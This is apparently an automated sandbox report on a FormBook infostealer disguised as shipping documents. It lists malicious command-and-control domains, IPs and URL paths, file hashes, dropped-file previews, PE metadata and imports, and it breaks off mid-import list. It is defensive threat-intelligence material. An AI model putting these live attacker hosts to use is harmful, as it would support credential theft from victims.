                              https://duckduckgo.com/chrome_newtabsc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://www.avalanchefi.xyzhcwvcDPvVeAzsY.exe, 00000008.00000002.2586189448.00000000054DE000.00000040.80000000.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://duckduckgo.com/ac/?q=sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.google.com/images/branding/product/ico/googleg_lodp.icosc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    http://bloodbalancecaps.shop/7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLbsc.exe, 00000007.00000002.2585504676.00000000043D4000.00000004.10000000.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584883100.00000000033F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2307969500.000000000EC34000.00000004.80000000.00040000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchsc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://www.ecosia.org/newtab/sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high

                                              World Map of Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public IPs

                                              IPDomainCountryFlagASNASN NameMalicious
                                              13.248.169.48
                                              		www.avalanchefi.xyzUnited States
                                              		16509AMAZON-02UStrue
                                              108.179.253.197
                                              		bloodbalancecaps.shopUnited States
                                              		46606UNIFIEDLAYER-AS-1UStrue
                                              108.181.189.7
                                              		jalan2.onlineCanada
                                              		852ASN852CAtrue

                                              General Information

                                              Joe Sandbox version:41.0.0 Charoite
                                              Analysis ID:1571754
                                              Start date and time:2024-12-09 17:16:43 +01:00
                                              Joe Sandbox product:CloudBasic
                                              Overall analysis duration:0h 8m 45s
                                              Hypervisor based Inspection enabled:false
                                              Report type:full
                                              Cookbook file name:default.jbs
                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                              Number of analysed new started processes analysed:10
                                              Number of new started drivers analysed:0
                                              Number of existing processes analysed:0
                                              Number of existing drivers analysed:0
                                              Number of injected processes analysed:2
                                              Technologies:
                                              • HCA enabled
                                              • EGA enabled
                                              • AMSI enabled
                                              Analysis Mode:default
                                              Analysis stop reason:Timeout
                                              Sample name:AWB_5771388044 Documente de expediere.exe
                                              Detection:MAL
                                              Classification:mal100.troj.spyw.evad.winEXE@7/3@3/3
                                              EGA Information:
                                              • Successful, ratio: 75%
                                              HCA Information:
                                              • Successful, ratio: 95%
                                              • Number of executed functions: 49
                                              • Number of non-executed functions: 283
                                              Cookbook Comments:
                                              • Found application associated with file extension: .exe

                                              Warnings

                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                              • Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
                                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                              • Execution Graph export aborted for target hcwvcDPvVeAzsY.exe, PID 6312 because it is empty
                                              • Not all processes where analyzed, report is missing behavior information
                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                              • VT rate limit hit for: AWB_5771388044 Documente de expediere.exe

                                              Simulations

                                              Behavior and APIs

                                              TimeTypeDescription
                                              11:19:17API Interceptor19x Sleep call for process: sc.exe modified

                                              Joe Sandbox View / Context

                                              IPs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              13.248.169.48AWB_5771388044 Documente de expediere.exeGet hashmaliciousFormBookBrowse
                                              • www.avalanchefi.xyz/ctta/
                                              Payment Advice - Advice RefA2dGOv46MCnu -USD Priority payment.exeGet hashmaliciousFormBookBrowse
                                              • www.hsa.world/09b7/
                                              MN1qo2qaJmEvXDP.exeGet hashmaliciousFormBookBrowse
                                              • www.lovel.shop/rxts/
                                              RFQ _ Virtue 054451000085.exeGet hashmaliciousFormBookBrowse
                                              • www.snyp.shop/4nyz/
                                              NEW.RFQ00876.pdf.exeGet hashmaliciousFormBookBrowse
                                              • www.krshop.shop/5p01/
                                              DHL_734825510.exeGet hashmaliciousFormBookBrowse
                                              • www.egyshare.xyz/440l/
                                              purchase order.exeGet hashmaliciousFormBookBrowse
                                              • www.aktmarket.xyz/wb7v/
                                              SRT68.exeGet hashmaliciousFormBookBrowse
                                              • www.avalanchefi.xyz/vxa5/
                                              ek8LkB2Cgo.exeGet hashmaliciousFormBookBrowse
                                              • www.remedies.pro/4azw/
                                              Document_084462.scr.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              • www.optimismbank.xyz/98j3/?2O=jo1iJOnj8ueGZPJDfvyWmhhX4bGAJjt1DdtSaCSQL5v3UEYBE5VATgnqgu9yCYXU1qT81UG2HbOLQLBbZNDoJaqiWagLaQ4MrpZVJnF4w7w/HKU2baOdEb4=&ChhG6=J-xs
                                              108.179.253.197DHL_734825510.exeGet hashmaliciousFormBookBrowse
                                              • www.bloodbalancecaps.shop/qimy/
                                              SW_5724.exeGet hashmaliciousFormBookBrowse
                                              • www.bloodbalancecaps.shop/qimy/

                                              Domains

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              www.avalanchefi.xyzAWB_5771388044 Documente de expediere.exeGet hashmaliciousFormBookBrowse
                                              • 13.248.169.48
                                              SRT68.exeGet hashmaliciousFormBookBrowse
                                              • 13.248.169.48
                                              lKvXJ7VVCK.exeGet hashmaliciousFormBookBrowse
                                              • 13.248.169.48
                                              New Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse
                                              • 13.248.169.48
                                              s-part-0035.t-0009.t-msedge.netlLNOwu1HG4.jsGet hashmaliciousRHADAMANTHYSBrowse
                                              • 13.107.246.63
                                              file.exeGet hashmaliciousLummaC StealerBrowse
                                              • 13.107.246.63
                                              file.exeGet hashmaliciousStealcBrowse
                                              • 13.107.246.63
                                              cwqqRXEhZb.msiGet hashmaliciousUnknownBrowse
                                              • 13.107.246.63
                                              Aktarma,pdf.vbsGet hashmaliciousRemcosBrowse
                                              • 13.107.246.63
                                              Need Price Order No.17084 PARLOK.exeGet hashmaliciousFormBookBrowse
                                              • 13.107.246.63
                                              file.exeGet hashmaliciousAmadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWormBrowse
                                              • 13.107.246.63
                                              hlhF3wf7yX.dllGet hashmaliciousUnknownBrowse
                                              • 13.107.246.63
                                              Utils.dll.dllGet hashmaliciousCodoso Ghost, HancitorBrowse
                                              • 13.107.246.63
                                              AerF91EIjj.exeGet hashmaliciousPureLog Stealer, zgRATBrowse
                                              • 13.107.246.63

                                              ASNs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              UNIFIEDLAYER-AS-1USTarun Loomba Signature Required.pdfGet hashmaliciousUnknownBrowse
                                              • 192.185.35.240
                                              AWB_5771388044 Documente de expediere.exeGet hashmaliciousFormBookBrowse
                                              • 108.179.253.197
                                              Owari.sh4.elfGet hashmaliciousUnknownBrowse
                                              • 192.163.253.90
                                              http://74.50.69.234/Get hashmaliciousUnknownBrowse
                                              • 192.185.131.189
                                              http://74.50.69.234/Get hashmaliciousUnknownBrowse
                                              • 192.185.131.189
                                              jmhgeojeri.elfGet hashmaliciousUnknownBrowse
                                              • 162.145.178.130
                                              Fw 2025 Employee Handbook For all Colhca Employees Ref THEFUE.emlGet hashmaliciousUnknownBrowse
                                              • 192.185.35.240
                                              TECHNICAL SPECIFICATIONS.exeGet hashmaliciousAgentTeslaBrowse
                                              • 192.254.225.136
                                              https://hujalconcretos.com/nppGet hashmaliciousUnknownBrowse
                                              • 192.185.131.189
                                              DHL_734825510.exeGet hashmaliciousFormBookBrowse
                                              • 108.179.253.197
                                              AMAZON-02USlLNOwu1HG4.jsGet hashmaliciousRHADAMANTHYSBrowse
                                              • 185.166.143.50
                                              iVH355vnza.vbsGet hashmaliciousUnknownBrowse
                                              • 185.166.143.50
                                              m68k.elfGet hashmaliciousGafgyt, MiraiBrowse
                                              • 54.217.10.153
                                              mips.elfGet hashmaliciousGafgyt, MiraiBrowse
                                              • 34.249.145.219
                                              Fantazy.arm7.elfGet hashmaliciousMiraiBrowse
                                              • 18.153.246.29
                                              W-2Updated.pdfGet hashmaliciousKnowBe4, PDFPhishBrowse
                                              • 13.227.8.87
                                              la.bot.m68k.elfGet hashmaliciousMiraiBrowse
                                              • 54.171.230.55
                                              https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.comGet hashmaliciousHTMLPhisherBrowse
                                              • 13.227.8.47
                                              https://sendgb.com/vdRYC6Nal34?utm_medium=HlyZfLISdD8Bj1iGet hashmaliciousUnknownBrowse
                                              • 52.19.235.127
                                              https://reviewgustereports.com/Get hashmaliciousCAPTCHA Scam ClickFix, XWormBrowse
                                              • 13.227.8.6

                                              JA3 Fingerprints

                                              ⊘No context

                                              Dropped Files

                                              ⊘No context

                                              Created / dropped Files

                                              C:\Users\user\AppData\Local\Temp\04j58b6g

                                              Download File
                                              Process:C:\Windows\SysWOW64\sc.exe
                                              File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                              Category:dropped
                                              Size (bytes):196608
                                              Entropy (8bit):1.1221538113908904
                                              Encrypted:false
                                              SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
                                              MD5:C1AE02DC8BFF5DD65491BF71C0B740A7
                                              SHA1:6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
                                              SHA-256:CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
                                              SHA-512:01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
                                              Malicious:false
                                              Reputation:moderate, very likely benign file
                                              Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Temp\autEEC2.tmp

                                              Download File
                                              Process:C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):290304
                                              Entropy (8bit):7.99403093817866
                                              Encrypted:true
                                              SSDEEP:6144:feClJxwfpIUKvG76ljYfbPMsoBKySkcwzruMVqJAgo1CcYhgl:Dlcya0ji3yLrPVqJAXCcR
                                              MD5:460459265DCF5F9E020C973C438CE25B
                                              SHA1:099C2C8DA166083C11795E832FB02C37C4851B53
                                              SHA-256:812EA4A917ABD0FCEB43F836E68BFB5B868D61AD7DE67E471EE5FDB57FDC3F56
                                              SHA-512:DDA91475CC615CA62C341C5765F9D691B876A53719D394FF66B1F08FD3570B741C4528F272954B274D5436DCDEAC20DC1EDE6C9090BA8075FC854F3C95D62DB7
                                              Malicious:false
                                              Reputation:low
                                              Preview:.j.LT58COR9K..YQ.LTOQL7PpWLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQF.QHLZP.B7.9.m.4t.j.Q""f)#'+&.<lT1^9##.Z&k L%q/7q...o<#S5.ZA].8CKR9KQ?XX.q4(.qW7.j,0."...+6.C..h/6.-...p7R.."1Qv1!.QHLTOQL7.uWL.49C.>D.QFYQHLTO.L5Q;VGW5dGKR9KQFYQH.GOQL'P0W<S58C.R9[QFYSHLROQL7P0WJW58CKR9K!BYQJLTOQL7R0..W5(CKB9KQFIQH\TOQL7P WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLz;44CP0W..18C[R9K.BYQXLTOQL7P0WLW58CkR9+QFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9

                                              C:\Users\user\AppData\Local\Temp\totten

                                              Download File
                                              Process:C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):290304
                                              Entropy (8bit):7.99403093817866
                                              Encrypted:true
                                              SSDEEP:6144:feClJxwfpIUKvG76ljYfbPMsoBKySkcwzruMVqJAgo1CcYhgl:Dlcya0ji3yLrPVqJAXCcR
                                              MD5:460459265DCF5F9E020C973C438CE25B
                                              SHA1:099C2C8DA166083C11795E832FB02C37C4851B53
                                              SHA-256:812EA4A917ABD0FCEB43F836E68BFB5B868D61AD7DE67E471EE5FDB57FDC3F56
                                              SHA-512:DDA91475CC615CA62C341C5765F9D691B876A53719D394FF66B1F08FD3570B741C4528F272954B274D5436DCDEAC20DC1EDE6C9090BA8075FC854F3C95D62DB7
                                              Malicious:false
                                              Preview:.j.LT58COR9K..YQ.LTOQL7PpWLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQF.QHLZP.B7.9.m.4t.j.Q""f)#'+&.<lT1^9##.Z&k L%q/7q...o<#S5.ZA].8CKR9KQ?XX.q4(.qW7.j,0."...+6.C..h/6.-...p7R.."1Qv1!.QHLTOQL7.uWL.49C.>D.QFYQHLTO.L5Q;VGW5dGKR9KQFYQH.GOQL'P0W<S58C.R9[QFYSHLROQL7P0WJW58CKR9K!BYQJLTOQL7R0..W5(CKB9KQFIQH\TOQL7P WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLz;44CP0W..18C[R9K.BYQXLTOQL7P0WLW58CkR9+QFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9KQFYQHLTOQL7P0WLW58CKR9

                                              Static File Info

                                              General

                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                              Entropy (8bit):7.19663805092333
                                              TrID:
                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                              • DOS Executable Generic (2002/1) 0.02%
                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                              File name:AWB_5771388044 Documente de expediere.exe
                                              File size:1'214'976 bytes
                                              MD5:825d275e4ba1c2da11bdc94259b23c21
                                              SHA1:d2fd31c97cf80b548d59156e6b21cfae5c86d79a
                                              SHA256:21e6cc3d9b767a7b76243e8501064e94153ebed3098ec68ae05b534bbc39de4c
                                              SHA512:1642b4835ae1fa5035fb60d3fdeff9c94fdfba3d2b89a1639d40c73914172d37e8b9a561fd42486c0668caf7c935847098203c5cb1fd52e1e99dd5a507d9aa25
                                              SSDEEP:24576:xu6J33O0c+JY5UZ+XC0kGso6Faqha3hZShaZMuTbcanVWY:ju0c++OCvkGs9FaqIxIyZAY
                                              TLSH:E045CF2273DDC361CB769273BF2AB7016EBB7C614630B85B2F880D79A950172162D763
                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

                                              File Icon

                                              Icon Hash:aaf3e3e3938382a0

                                              Static PE Info

                                              General

                                              Entrypoint:0x427dcd
                                              Entrypoint Section:.text
                                              Digitally signed:false
                                              Imagebase:0x400000
                                              Subsystem:windows gui
                                              Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                              DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                              Time Stamp:0x67564B0C [Mon Dec 9 01:42:36 2024 UTC]
                                              TLS Callbacks:
                                              CLR (.Net) Version:
                                              OS Version Major:5
                                              OS Version Minor:1
                                              File Version Major:5
                                              File Version Minor:1
                                              Subsystem Version Major:5
                                              Subsystem Version Minor:1
                                              Import Hash:afcdf79be1557326c854b6e20cb900a7

                                              Entrypoint Preview

                                              Instruction
                                              call 00007FDB007A549Ah
                                              jmp 00007FDB00798264h
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              push edi
                                              push esi
                                              mov esi, dword ptr [esp+10h]
                                              mov ecx, dword ptr [esp+14h]
                                              mov edi, dword ptr [esp+0Ch]
                                              mov eax, ecx
                                              mov edx, ecx
                                              add eax, esi
                                              cmp edi, esi
                                              jbe 00007FDB007983EAh
                                              cmp edi, eax
                                              jc 00007FDB0079874Eh
                                              bt dword ptr [004C31FCh], 01h
                                              jnc 00007FDB007983E9h
                                              rep movsb
                                              jmp 00007FDB007986FCh
                                              cmp ecx, 00000080h
                                              jc 00007FDB007985B4h
                                              mov eax, edi
                                              xor eax, esi
                                              test eax, 0000000Fh
                                              jne 00007FDB007983F0h
                                              bt dword ptr [004BE324h], 01h
                                              jc 00007FDB007988C0h
                                              bt dword ptr [004C31FCh], 00000000h
                                              jnc 00007FDB0079858Dh
                                              test edi, 00000003h
                                              jne 00007FDB0079859Eh
                                              test esi, 00000003h
                                              jne 00007FDB0079857Dh
                                              bt edi, 02h
                                              jnc 00007FDB007983EFh
                                              mov eax, dword ptr [esi]
                                              sub ecx, 04h
                                              lea esi, dword ptr [esi+04h]
                                              mov dword ptr [edi], eax
                                              lea edi, dword ptr [edi+04h]
                                              bt edi, 03h
                                              jnc 00007FDB007983F3h
                                              movq xmm1, qword ptr [esi]
                                              sub ecx, 08h
                                              lea esi, dword ptr [esi+08h]
                                              movq qword ptr [edi], xmm1
                                              lea edi, dword ptr [edi+08h]
                                              test esi, 00000007h
                                              je 00007FDB00798445h
                                              bt esi, 03h
                                              jnc 00007FDB00798498h

                                              Rich Headers

                                              Programming Language:
                                              • [ASM] VS2013 build 21005
                                              • [ C ] VS2013 build 21005
                                              • [C++] VS2013 build 21005
                                              • [ C ] VS2008 SP1 build 30729
                                              • [IMP] VS2008 SP1 build 30729
                                              • [ASM] VS2013 UPD4 build 31101
                                              • [RES] VS2013 build 21005
                                              • [LNK] VS2013 UPD4 build 31101

                                              Data Directories

                                              NameVirtual AddressVirtual Size Is in Section
                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xba44c0x17c.rdata
                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000x60144.rsrc
                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x1280000x711c.reloc
                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x92bc00x1c.rdata
                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xa48700x40.rdata
                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IAT0x8f0000x884.rdata
                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                              Sections

                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                              .text0x10000x8dcc40x8de00d28a820a1d9ff26cda02d12b888ba4b4False0.5728679102422908data6.676118058520316IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                              .rdata0x8f0000x2e10e0x2e20079b14b254506b0dbc8cd0ad67fb70ad9False0.33535526761517614OpenPGP Public Key5.76010872795207IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .data0xbe0000x8f740x52009f9d6f746f1a415a63de45f8b7983d33False0.1017530487804878data1.198745897703538IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                              .rsrc0xc70000x601440x6020060adca01a114991f19c9765dd47b4d32False0.9316812621911573data7.9022176692791435IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .reloc0x1280000x711c0x72006fcae3cbbf6bfbabf5ec5bbe7cf612c3False0.7650767543859649data6.779031650454199IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                              Resources

                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                              RT_ICON0xc75a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                              RT_ICON0xc76d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                              RT_ICON0xc77f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                              RT_ICON0xc79200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                              RT_ICON0xc7c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                              RT_ICON0xc7d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                              RT_ICON0xc8bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                              RT_ICON0xc94800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                              RT_ICON0xc99e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                              RT_ICON0xcbf900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                              RT_ICON0xcd0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                              RT_MENU0xcd4a00x50dataEnglishGreat Britain0.9
                                              RT_STRING0xcd4f00x594dataEnglishGreat Britain0.3333333333333333
                                              RT_STRING0xcda840x68adataEnglishGreat Britain0.2747909199522103
                                              RT_STRING0xce1100x490dataEnglishGreat Britain0.3715753424657534
                                              RT_STRING0xce5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                              RT_STRING0xceb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                              RT_STRING0xcf1f80x466dataEnglishGreat Britain0.3605683836589698
                                              RT_STRING0xcf6600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                              RT_RCDATA0xcf7b80x57409data1.0003245799348042
                                              RT_GROUP_ICON0x126bc40x76dataEnglishGreat Britain0.6610169491525424
                                              RT_GROUP_ICON0x126c3c0x14dataEnglishGreat Britain1.25
                                              RT_GROUP_ICON0x126c500x14dataEnglishGreat Britain1.15
                                              RT_GROUP_ICON0x126c640x14dataEnglishGreat Britain1.25
                                              RT_VERSION0x126c780xdcdataEnglishGreat Britain0.6181818181818182
                                              RT_MANIFEST0x126d540x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                              Imports

                                              DLLImport
                                              WSOCK32.dllWSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
                                              VERSION.dllGetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
                                              WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                              COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                              MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                              WININET.dllInternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
                                              PSAPI.DLLGetProcessMemoryInfo
                                              IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                              USERENV.dllDestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
                                              UxTheme.dllIsThemeActive
                                              KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, 